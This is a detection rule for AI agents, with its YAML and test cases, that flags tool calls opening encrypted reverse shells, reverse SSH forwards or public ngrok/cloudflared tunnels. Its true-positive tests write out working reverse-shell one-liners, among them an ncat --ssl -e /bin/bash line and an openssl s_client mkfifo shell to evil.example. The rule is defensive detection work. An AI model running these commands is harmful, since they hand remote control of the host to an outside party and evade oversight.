Agent Establishing an Encrypted Reverse Channel or Tunnel

Detects an agent tool call that opens a covert encrypted channel out of the host: an openssl/ncat TLS reverse shell, an `ssh -R` remote-forward tunnel to an external endpoint, or a public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service. This is the agent-context form of ATT&CK T1573 (Encrypted Channel) — encrypted egress used to hide C2 or data movement. Detects: TLS reverse-shell one-liners, reverse SSH forwards, public tunnel exposure of internal ports. Does NOT detect: ordinary HTTPS requests, or a normal deploy to a managed platform (vercel/railway), or a local SSH forward for dev.

建議回應

參考資料

1. 01

   TLS-wrapped reverse shell via openssl s_client / ncat --ssl -e

   欄位: content運算子: regex
2. 02

   Reverse SSH remote-forward exposing an internal port to an external host

   欄位: content運算子: regex
3. 03

   Public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service

   欄位: content運算子: regex
4. 04

   Same encrypted-channel primitive resolved from tool_args

   欄位: tool_args運算子: regex

攻擊範例（規則會觸發）

1. ncat --ssl 203.0.113.9 8443 -e /bin/bash

2. mkfifo /tmp/s; openssl s_client -connect evil.example:443 -quiet < /tmp/s | /bin/sh > /tmp/s

3. ssh -R 8080:localhost:3000 [email protected]

4. ngrok tcp 22

5. cloudflared tunnel --url localhost:8080

以上為真實攻擊 payload 的脫敏版本，與規則一同版本化，作為 regression test——確保未來的修訂不會悄悄漏掉它們。

正常樣本（規則不會觸發）

1. Managed platform deploy over HTTPS

   vercel deploy --prod

2. Normal Railway deploy

   railway up --service threat-cloud

3. Certificate inspection, no exec/shell

   openssl s_client -connect api.stripe.com:443 -servername api.stripe.com < /dev/null

4. Local forward (-L) to an internal bastion for dev

   ssh -L 5432:localhost:5432 [email protected]

5. Ordinary HTTPS request

   curl -s https://langfuse.com/llms.txt

已知誤報情境

• ▸A developer intentionally using ngrok/cloudflared to demo a local app (should be allowlisted per environment)
• ▸openssl s_client used purely to inspect a certificate (no exec / shell)

已記錄的規避手法

1. 手法: scripted tls shell

   python3 -c 'import ssl,socket,subprocess,os; ...'

   A Python ssl-socket reverse shell hides the primitives inside code; not covered by the shell-command shapes here.

這些是公開記錄的繞過手法。一個標準的可信度，取決於它願不願意公開自己最差的數字——所以已知限制寫在規則裡，而不是藏起來。

title: Agent Establishing an Encrypted Reverse Channel or Tunnel
id: ATR-2026-01994
rule_version: 1
status: draft
description: |
  Detects an agent tool call that opens a covert encrypted channel out of the
  host: an openssl/ncat TLS reverse shell, an `ssh -R` remote-forward tunnel to
  an external endpoint, or a public tunnel (ngrok/cloudflared/localtunnel)
  exposing an internal service. This is the agent-context form of ATT&CK T1573
  (Encrypted Channel) — encrypted egress used to hide C2 or data movement.
  Detects: TLS reverse-shell one-liners, reverse SSH forwards, public
  tunnel exposure of internal ports.
  Does NOT detect: ordinary HTTPS requests, or a normal deploy to a managed
  platform (vercel/railway), or a local SSH forward for dev.
author: ATR Community (sigma-gap-18tech)
date: 2026/07/05
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: high
references:
  mitre_attack:
  - "T1573 - Encrypted Channel"
  mitre_atlas:
  - "AML.T0011 - User Execution"
  owasp_agentic:
  - "ASI01:2026 - Agent Behaviour Hijack"
  owasp_llm:
  - LLM06:2025 - Excessive Agency
tags:
  category: excessive-autonomy
  subcategory: encrypted-c2
  scan_target: both
  confidence: high
agent_source:
  type: tool_call
  framework:
  - any
  provider:
  - any
detection:
  conditions:
  - field: content
    operator: regex
    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect\\s+[^\\n]{0,40}(exec|/bin/(ba)?sh|\\|\\s*/bin)|ncat\\s+[^\\n]{0,40}--ssl[^\\n]{0,40}-e\\s+/bin/(ba)?sh|ncat\\s+[^\\n]{0,40}-e\\s+/bin/(ba)?sh[^\\n]{0,20}--ssl)"
    description: "TLS-wrapped reverse shell via openssl s_client / ncat --ssl -e"
  - field: content
    operator: regex
    value: "(?i)ssh\\s+[^\\n]{0,60}-R\\s*\\d{2,5}:(localhost|127\\.0\\.0\\.1|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}):\\d{2,5}\\s+[^\\n]{0,40}@[^\\n]{0,40}\\.(?!internal|corp|local)[a-z]{2,}"
    description: "Reverse SSH remote-forward exposing an internal port to an external host"
  - field: content
    operator: regex
    value: "(?i)(ngrok\\s+(tcp|http)\\s+\\d{2,5}|cloudflared\\s+tunnel[^\\n]{0,40}--url\\s+[^\\n]{0,30}localhost:\\d{2,5}|lt\\s+--port\\s+\\d{2,5})"
    description: "Public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service"
  - field: tool_args
    operator: regex
    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect[^\\n]{0,40}(exec|/bin/(ba)?sh)|ngrok\\s+(tcp|http)\\s+\\d{2,5})"
    description: "Same encrypted-channel primitive resolved from tool_args"
  condition: any
  false_positives:
  - "A developer intentionally using ngrok/cloudflared to demo a local app (should be allowlisted per environment)"
  - "openssl s_client used purely to inspect a certificate (no exec / shell)"
response:
  actions:
  - block_tool
  - alert
  - snapshot
  auto_response_threshold: high
  message_template: |
    [ATR-2026-01994] Agent tool call opens an encrypted reverse channel or
    public tunnel (T1573). Tool call blocked pending review.
confidence: 78
test_cases:
  true_positives:
  - input: "ncat --ssl 203.0.113.9 8443 -e /bin/bash"
    expected: triggered
    description: "TLS reverse shell via ncat --ssl -e"
  - input: "mkfifo /tmp/s; openssl s_client -connect evil.example:443 -quiet < /tmp/s | /bin/sh > /tmp/s"
    expected: triggered
    description: "openssl s_client reverse shell"
  - input: "ssh -R 8080:localhost:3000 [email protected]"
    expected: triggered
    description: "Reverse SSH forward exposing local port to external host"
  - input: "ngrok tcp 22"
    expected: triggered
    description: "Public ngrok tunnel exposing SSH"
  - input: "cloudflared tunnel --url localhost:8080"
    expected: triggered
    description: "Cloudflared tunnel exposing an internal service"
  true_negatives:
  - input: "vercel deploy --prod"
    expected: not_triggered
    description: "Managed platform deploy over HTTPS"
  - input: "railway up --service threat-cloud"
    expected: not_triggered
    description: "Normal Railway deploy"
  - input: "openssl s_client -connect api.stripe.com:443 -servername api.stripe.com < /dev/null"
    expected: not_triggered
    description: "Certificate inspection, no exec/shell"
  - input: "ssh -L 5432:localhost:5432 [email protected]"
    expected: not_triggered
    description: "Local forward (-L) to an internal bastion for dev"
  - input: "curl -s https://langfuse.com/llms.txt"
    expected: not_triggered
    description: "Ordinary HTTPS request"
evasion_tests:
- input: "python3 -c 'import ssl,socket,subprocess,os; ...'"
  expected: not_triggered
  bypass_technique: scripted_tls_shell
  notes: "A Python ssl-socket reverse shell hides the primitives inside code; not covered by the shell-command shapes here."
compliance:
  eu_ai_act:
  - article: '15'
    context: EU AI Act Article 15 cybersecurity/robustness requirements are engaged by detection of establishing an encrypted command-and-control channel by an agent, a security-relevant event against an AI system.
    strength: secondary
  nist_ai_rmf:
  - subcategory: MS.2.7
    context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by runtime detection of establishing an encrypted command-and-control channel by an agent.
    strength: secondary
  iso_42001:
  - clause: '8.1'
    context: ISO/IEC 42001 clause 8.1 operational controls cover detection of establishing an encrypted command-and-control channel by an agent against AI-agent tooling.
    strength: secondary